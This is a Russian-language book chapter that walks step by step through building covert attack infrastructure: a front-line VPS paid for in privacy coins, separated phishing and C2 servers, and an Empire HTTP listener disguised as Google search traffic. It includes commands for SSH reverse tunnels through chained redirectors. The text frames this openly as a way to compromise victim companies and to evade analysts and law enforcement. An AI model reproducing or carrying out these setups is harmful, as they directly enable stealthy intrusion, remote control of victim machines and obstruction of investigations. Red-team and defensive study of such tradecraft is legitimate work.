Наша инфраструктура стартует с отдельного виртуального частного сервера (VPS, virtual private server), размещённого у поставщика облачных услуг, как это отражено на Рисунке 1.1. Мы будем именовать его как свой сервер на передовой, поскольку он будет в непосредственном контакте с нашей целью.

 

Рисунок 1.1

VPS это наша передовая линия

Нам также потребуется выстроить некую устойчивость. Наличия только сервера передовой для запуска всех наших атак обязательно превратит эту передовую в единственный пункт отказа; всё что требуется компании для блокирования нашей якобы современной вредоносной полезной нагрузки, для которой мы затратили недели на настройку - это чёрный список IP адресов атакуемого сервера. Не говоря уже о том, что первый же обнаруживший нашу полезную нагрузку аналитик сможет просто в ответ атаковать наш сервер - задумайтесь об отказе в обслуживании (DoS), брутальном взломе - переборе, уязвимости кода удалённого исполнения в среде нашего эксплойта и тому подобном. Несмотря на все их изобретательные уловки и хвастовство, очень мало хакеров в действительности тратит время на то, чтобы заблокировать свои собственные серверы Команд и контроля (C2, Command and Control).

Во избежание этих проблем мы настроим устойчивую инфраструктуру взлома, которая предоставляет максимальные гибкость и модульность испытывая все типы атак на независимый блок соответствующей инфраструктуры. Если одна операция провалится, скажем, сканирование перебором портов с применением Nmap или masscan, прочие выполняемые одновременно операции, такие как фишинг, смогут продолжаться без потерь, поскольку все они основаны на обособленных компонентах.

Такое правило сегментации и в самом деле довольно очевидно на интуитивном уровне. Нам требуется первый набор серверов для фишинговых действий: отправки электронных писем, размещения поддельного содержимого, получения учётных данных и тому подобного. Далее нам нужен второй набор серверов для инициации связи с целевыми серверами, просмотра их веб- сайтов и поиска уязвимостей. Наконец, нам необходим третий набор серверов для обратных оболочек или программ, которые мы выполняем в серверах или ноутбуках жертвы, которые звонят обратно домой для предоставления нам полного контроля. Это наши серверы C2. Установка нашей инфраструктуры иллюстрируется на Рисунке 1.2.

 

Рисунок 1.2

Устойчивая инфраструктура атаки

Это отличная установка для разового задания, но как только мы приступим к соединению целей в цепочку, она начнёт казаться слишком тяжёлой. Для всякой новой цели нам требуется создавать выделенный атакующий сервер, загружая и настраивая наши любимые инструменты, устанавливая ожидающие стороны, выполняя конфигурацию полезной нагрузки и тому подобное.

причина, по которой нам требуется создавать такую систему всякий раз, состоит в том, что не все поставщики хостинга предлагают гибкость больших облачных служб, таких как Amazon Web Services (AWS) и Google Cloud, а потому может оказаться невозможным просто клонировать машины или создавать стандартный образ, который мы способны воспроизвести. Нам также потребуется принять меры предосторожности и применять несколько атакующих серверов; атака с одного и того же сервера на банк A и на страховщика B значительно увеличивает риск быть отмеченным подозрительным. Это в особенности верно для выполняемых одновременно боёв. В то время как для проникновения в некую компанию требуется несколько дней (или того меньше), для поиска и анализа требующихся нам данных может потребоваться до нескольких месяцев, а потому одновременный взлом нескольких целей не является чем- то необычным. Нам требуется разделить структуры своей атаки, дабы в случае отключения одного сервера прочие могли продолжаться.

Повторное применение IP адресов немедленно привлечёт внимание какого- нибудь проницательного аналитика, отчаянно ищущего новую хакерскую группу с броским названием вроде APE35 или FancyBear. Когда управляющий десятками машин в цели A IP адрес сервера попадает в чёрный список, мы сможем за считанные секунды развернуть новый сервер со свежим IP адресом для получения новых соединений, не нарушая существующие задания, которые не подлежат запрету их IP.

	Замечание
	Некоторые хакеры даже заходят столь далеко, что создают эфемерные ретрансляторы, пользуясь незащищёнными конфигурациями Universal Plug and Play (UPnP) в домашних сетевых средах для уменьшения своей уязвимости. Чтобы узнать дополнительно об этом, вы можете ознакомиться с интересным докладом "UPnP Unlimited Proxies and Pwnage" @professor__plum на CanSecWest 2018.

Для достижения такого уровня устойчивости мы введём другое множество серверов с названием переадресующих (redirectors), чья истинная цель состоит в посредничестве приходящих обратно от цели запросов в нашу атакующую инфраструктуру, что иллюстрируется на Рисунке 1.3.

 

Рисунок 1.3

Добавление переадресующих в нашу инфраструктуру

Цель A будет наблюдать значение IP переадресующего A, в то время как цель B будет взаимодействовать с переадресующим B. Оба переадресующих могут указывать на один и тот же сервер C2, однако эти сведения скрыты от обеих целей. Когда цель A запрещает по какой- то причине IP своего переадресующего, мы переключаем значение IP в своём вредоносном коде на другого переадресующего, подсаживаем это новое вредоносное ПО на другой компьютер в цели A и мы готовы к продолжению. Вся сердцевина инфраструктуры практически не меняется, поэтому цель B не затрагивается внесёнными изменениями. А это именно то, чего мы желали!

Имея на руках план, давайте настроим свою устойчивою инфраструктуру хакерства.

Прежде всего мы настраиваем свой атакующий сервер VPS передней линии. Однако не спешите с AWS или Google Cloud, поскольку лучше размещать этот сервер у поставщиков облачных решений, которые принимают монеты Zcash или Monero. Хотя такие способы оплаты и не являются железобетонными, они, как правило, обеспечивают лучшую защиту и анонимность, нежели обычные транзакции по кредитным картам. Перечень поставщиков облачных услуг, поддерживающих криптовалюты можно найти по адресу https://acceptbitcoin.cash/.

У поставщика хостинга, который принимает криптовалюту, мы остановимся на VBS Ubuntu и назовём свою машину FrontLine. Затем мы настроим правила межсетевого экрана чтобы допускать обмен SSH из своего текущего общедоступного IP, будь то точка доступа Wi-Fi в кафе или на станции поезда, или же плохо защищённый маршрутизатор Wi-Fi в будущем. После того как эта машина поднята, мы подключаемся к ней при помощи SSH:

root@FrontLine:~#
		

Если вам на самом деле нравится Kali, вы можете прихватить ряд инструментов непосредственно в репозитории Kali при помощи таких команд:

root@FrontLine:~# wget -qO - https://archive.kali.org/archive-key.asc | apt-key add –

root@FrontLine:~# sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

root@FrontLine:~# apt update
		

В противном случае мы просто всякий раз будем указывать те инструменты, которые вы будете применять по мере потребности в них по пути следования. И это всё относительно нашего сервера на передовой.

Далее мы настроим вторую машину, которая будет действовать в качестве нашего сервера Команд и контроля (C2, Command and Control). Он будет принимать подключения от машин жертв для поиска файлов или отскока к прочим машинам. Мы снабдим ей некой защитой , которая подразумевает что приходящие пакеты будут переправляться в наш сервер C2 через зашифрованный туннель, в котором расположена наша инфраструктура ожидания C2.

Для того чтобы принять в качестве базовой имеется большое число известных инфраструктур: Covenant C2, Faction C2, Metasploit, Empire, SILENTTRINITY. Каждая из этих инфраструктур предоставляет инструменты и шаблоны для построения программ, которые , при их выполнении на стороне компьютеров жертвы, перезванивать обратно и обеспечивать нам полный удалённый контроль. Они также встраивают модули, которые помогают нам автоматизировать такие рядовые задачи как поиск компьютеров и пользователей, получение паролей и многие прочие занятные действия.

Естественно, все имеют свои собственные предпочтения и я побуждаю вас испытать их все и составить своё собственное мнение. В данной книге я буду изучать Empire, который можно найти на https://github.com/BC-SECURITY/Empire/, а потому наш следующий шаг состоит в запуске нашего нового сервера VPS, который будет действовать в качестве нашего сервера C2, зарегистрироваться в нём и затем выгрузить и установить Empire. Убедитесь что у вас имеется в данной машине установленным по крайней мере Python 3.7:

root@c2Server:~# git clone https://github.com/BC-SECURITY/Empire.git
root@c2Server:~# cd Empire && sudo ./setup/install.sh
root@c2Server:~# ./empire

(Empire) >
		

Теперь мы внутри интерактивной командной строки Empire и готовы к построению полезных нагрузок.

	Замечание
	Будет не лишней установка команды screen, которая позволит вам восстанавливать сеанс Empire после прерывания соединения SSH. За подробностями отсылаем к https://www.howtoforge.com/linux_screen/.

Мы начинаем с настройки listener, которая является исполняемой в фоновом режиме службой, ожидающей новых подключений от наших целей в будущем. Мы выберем простое ожидание HTTP, способное сливаться с обычным корпоративным обменом:

(Empire) > listeners
(Empire: listeners) > uselistener http
		

Это ожидание не будет непосредственно выставляться в Интернет, а вместо этого мы будем достигать цели при помощи некого переадресующего, который мы настроем по ходу дел позднее. Например, скажем, общедоступный IP адрес этого переадресующего 158.10.10.10, а его доменное имя www.custom.com, мы пометим их таковыми в своей ожидающей стороне:

(Empire: listeners/http) > set Name https_158.10.10.10
(Empire: listeners/http) > set Port 8443
(Empire: listeners/http) > set Host https://custom.com:443
		

Важно установить параметр Port в некий не используемый в настоящий момент порт, причём до настройки параметра Host, во избежание недоразумений по данному значению порта. В нашей машине C2 Empire будет ожидать по порту 8443. Наш переадресующий будет ожидать по более распространённому порту 443.

Empire предлагает детальный контроль над многими прочими рукоятками, которые нам предстоит настраивать во избежание простых ловушек, установленных алгоритмами сопоставления характеристик. Прежде всего, мы активируем HTTPS, добавив самостоятельно заверяемый сертификат SSL, обычно создаваемый при установке Empire:

(Empire: listeners/http) > set CertPath /root/Empire/data
		

Для выработки нового сертификата, если мы пожелаем, мы позднее сможем воспользоваться расположенным в Empire/setup сценарием cert.sh. К сожалению, один SSL не обеспечивает нам полной безнаказанности. Некоторые компании осуществляют перехват SSL и тем самым способны выполнять дешифрацию вашего обмена на лету, поэтому большинство инфраструктур C2, включая Empire, автоматически добавляют некий уровень шифрования поверх SSL для сокрытия своей полезной нагрузки.

Устанавливаемая по умолчанию служба ожидания HTTPS в Empire получает запросы через регулярные интервалы времени - скажем, каждые пять секунд - от жертв для выборки команд или передачи результатов. Такой повторяющийся шаблон опроса данных часто носит название поведения маяка и способен привлекать внимание аналитических инструментов поведения, поэтому хорошим практическим приёмом является внесение некой случайности или неопределённости в такой шаблон. Этой цели в Empire служит параметр Jitter. Например, настройка Jitter в 1 вызовет команды запросов от нашей ожидающей стороны к компьютерам жертв в диапазоне каждых 4 - 6 секунд:

(Empire: listeners/http) > set Jitter 1
		

Наконец, мы укажем Empire передавать команды через запросы HTTPS, которые схожи с запросами поиска Google, для их маскировки. Мы надеемся, что это введёт в заблуждение потенциальных аналитиков безопасности. Если вы быстро заглянете в консоль отладки своего браузера (CTRL-SHIFT-C в Firefox) при поиске в Google, вы заметите некие запросы URI в виде /complete/search?q=wolf&cp=1&client=psy-ab&xssi=t&drp=1. Нам нет нужды знать что означает каждый параметр, однако их добавление к отправляемым в нашу службу ожидания Empire поможет нам замаскировать поведение нашего сервера C2. Мы даже можем заимствовать некие разбрасываемые Google куки, такие как NID=124=QwwdllDWWfFQKUhb5uvXUd6iXD30J2d8f2 and CONSENT=YES+EN.us;DV=0deAnSHdef4USGxWAWWDMxtbtp95XgH .

Нам также потребуются манипуляции с печально известным заголовком User-Agent, который является особой характеризующей строкой для всякого браузера, обычно используемого серверами для выявления соответствующей операционной системой и значением версии и названия самого браузера, осуществляющего данный запрос. Всякий экземпляр Empire пользуется той же самой легко распознаваемой строкой User-Agent Internet Explorer, а потому мы лучше заменим его на индивидуальную строку, которая маскируется под более широко применяемый браузер, например Chrome.

Мы можем устанавливать для своей службы ожидания все эти значения в Empire через свойство DefaultProfile. Его структура достаточно простая: <request_uri> | <user_agent> | <header_1> | <header_2> и так далее. Применение данного формата к нашему поисковому запросу Google отображает достаточно плотный текст, показанный в Листинге 1.1, который я разбил на части перед каждым | для улучшения восприятия при чтении.

(Empire: listeners/http) > set DefaultProfile /complete/search?q=wolf&cp=1&client=psy-ab&xssi=t&drp=1 | Mozilla/5.0 (Windows NT 9.0; Win64; x64; rv:94.0) Gecko/20100110 Firefox/77.44 | Cookie: NID=124=QwwdllDWWfFQKUhb5uvXUd6iXD30J2d8f2; CONSENT=YES+EN.us;DV=0deAnSHdef4USGxWAWWDMxtbtp95XgH
 	   

Для ещё большей скрытности своих запросов, вы, естественно, можете добавлять дополнительные заголовки.

Настроив всё это мы запускаем свою службу ожидания:

(Empire: listeners/http) > execute
[+] Listener successfully started!
 	   

Теперь, когда мы запросим перечень своих служб ожидания, мы можем обнаружить их с такими настройками:

(Empire: listeners/http) > listeners
[*] Active listeners:

Name          Module  Host                    Delay/Jitter
----          ------  -----                   --------
https_158...  http    https://custom.com:443  5/1
 	   

Замечательно. У нас имеется заблокированной и готовой первая служба ожидания.

Как уже было отмечено ранее, эта служба ожидания достижима лишь с переадресующей со значением IP 158.10.10.10.

Эти переадресующие являются новой ветвью нашей атакующей инфраструктуры. Они являются простыми серверами, которые пересылают любой получаемый обмен в серверы C2 через зашифрованный туннель. Мы хотим сделать так, чтобы любой преходящий на порт 443 пакет в этой переадресующей службе отправлялся через туннель с шифрованием в наш сервер C2 на порт 8443, где пребывает наша служба ожидания Empire. SSH предлагает удобную функциональную возможность с названием переадресации порта возврата (reverse port forwarding).

Переадресация портов указывает нашей переадресующей службе автоматически переправлять весь получаемый на определённый порт (у нас 443) обмен в другой порт в нашем сервере C2 (в нашем случае 8443). Основная загвоздка в том, что по умолчанию SSH позволяет перенаправлять только локальные порты, поэтому наш порт 443 будет выполнять ожидание только локального адреса 127.0.0.1, что не есть хорошо.

Чтобы иметь возможность привязать порты к общедоступным сетевым интерфейсам в нашей переадресующей службе, нам потребуется добавить в свой файл /etc/ssh/sshd_config такую директиву:

# file /etc/ssh/sshd_config on the redirectors

GatewayPorts yes
 	   

Теперь мы перезапускаем свой сервер SSH в переадресующей службе при помощи команды systemctl restart ssh и мы сможем вернуться обратно в свой сервер C2 и запустить для установки необходимого туннеля такую команду (см. отображение на Рисунке 1.4):

root@c2Server:~# ssh -fN -R 443:0.0.0.0:8443 158.10.10.10
 	   

158.10.10.10 это общедоступный IP нашей переадресующей службы (см. Рисунок 1.4). Параметр -f отправляет получаемую в результате консоль SSH в фоновый режим, в то время как -N инструктирует его забыть об исполнении команд. Если вы запустите это без -f, будет открыта интерактивная оболочка, но нам она не нужна; мы заботимся лишь о переадресации обмена в установленный нами туннель и не желаем вручную набирать инструкции в своём удалённом сервере. Наконец, -R это параметр, который отвечает за настройку обратного туннеля между этими двумя машинами.

 

Рисунок 1.4

Перенаправление IP адреса

Теперь все приходящие на порт 443 в нашей переадресующей службе пакеты будут отправляться через зашифрованный туннель в наш сервер C2 по порту 8443, где располагается служба ожидания Empire. Наш сервер C2 достижим лишь через этот один порт, который открыт в другом сервере. В этом вся прелесть переадресации порта возврата.

После того как мы убедимся что всё работает как нужно, мы заблокируем доступ к своему серверу C2 через службу Простого межсетевого экрана (UFW, Uncomplicated Firewall). Нашей службе ожидания C2 необходима досягаемость лишь через SSH, причём либо от переадресующей службы, либо от одного из наших узлов выхода VPN или Tor. Тем самым, мы можем запретить все приходящие пакеты, как это отображено в Листинге 1.2.

root@c2Server:~# apt install -y ufw
root@c2Server:~# ufw default deny incoming
root@c2Server:~# ufw default allow outgoing
root@c2Server:~# ufw allow from any to any port 22
root@c2Server:~# ufw enable
 	   

Мы прополощем это и повторим для своей службы переадресации фишинга, за исключением того, что вместо службы ожидания Empire у нас будет сервер Apache, предоставляющий легально выглядящий веб-сайт, но об этом позднее.

Как видите, единственной целью нашей переадресующей службы является отправление зашифрованного обмена (в данном случае HTTPS) в сервер C2. Никакие данные не сохраняются и никакие сведения не передаются в виде открытого текста в нашей машине переключения.

Наш первый поставщик хостинга не обращает внимания на любую атака, а даже если он и решит сотрудничать с правоохранительными органами или с командой аналитиков цели, он не сможет им дать многого. Всё что у них будет - это интернет шлюз второго поставщика хостинга, применяемый нашим сервером C2 для установки SSH туннеля, который не продвинет их весьма далеко в процессе расследования и не даст мощного рычага воздействия на второго поставщика хостинга.

Мы можем составлять в цепочку столь много переадресующих служб, сколько пожелаем пока мы хотим пользоваться SSH. Данная команда ставит цепочку локального порта 8443 на порт 8888 в нашей переадресующей службе 1, самой по себе соединяемой в цепочку с портом 443 в переадресующей службе 2:

root@c2Server:~# ssh -fR 8888:0.0.0.0:8443 <redirector_1> ssh -fNR 443:0.0.0.0:8888 <redirector_2>
 	   

Если мы утратим одну из своих переадресующих служб, или вместо этого пожелаем воспользоваться IP адресом в другом регионе, мы можем просто создать новую общедоступную переадресующую службу на новом континенте, которая готова принимать подключения к оболочке. Устойчивость в её лучшем проявлении.

Список поставщиков облачных ресурсов, которые поддерживают криптовалюты: https://acceptbitcoin.cash/

"UPnP Unlimited Proxies and Pwnage" в CanSecWest 2018 от @professor__plum

Удачная статья от Tenable относительно работы с отпечатками пальцев PowerShell Empire: https://www.tenable.com/blog/identifying-empire-http-listeners/

Подробности об уязвимостях в популярных инструментах удалённого доступа: https://bit.ly/2uQR60l и https://bit.ly/2We2HVX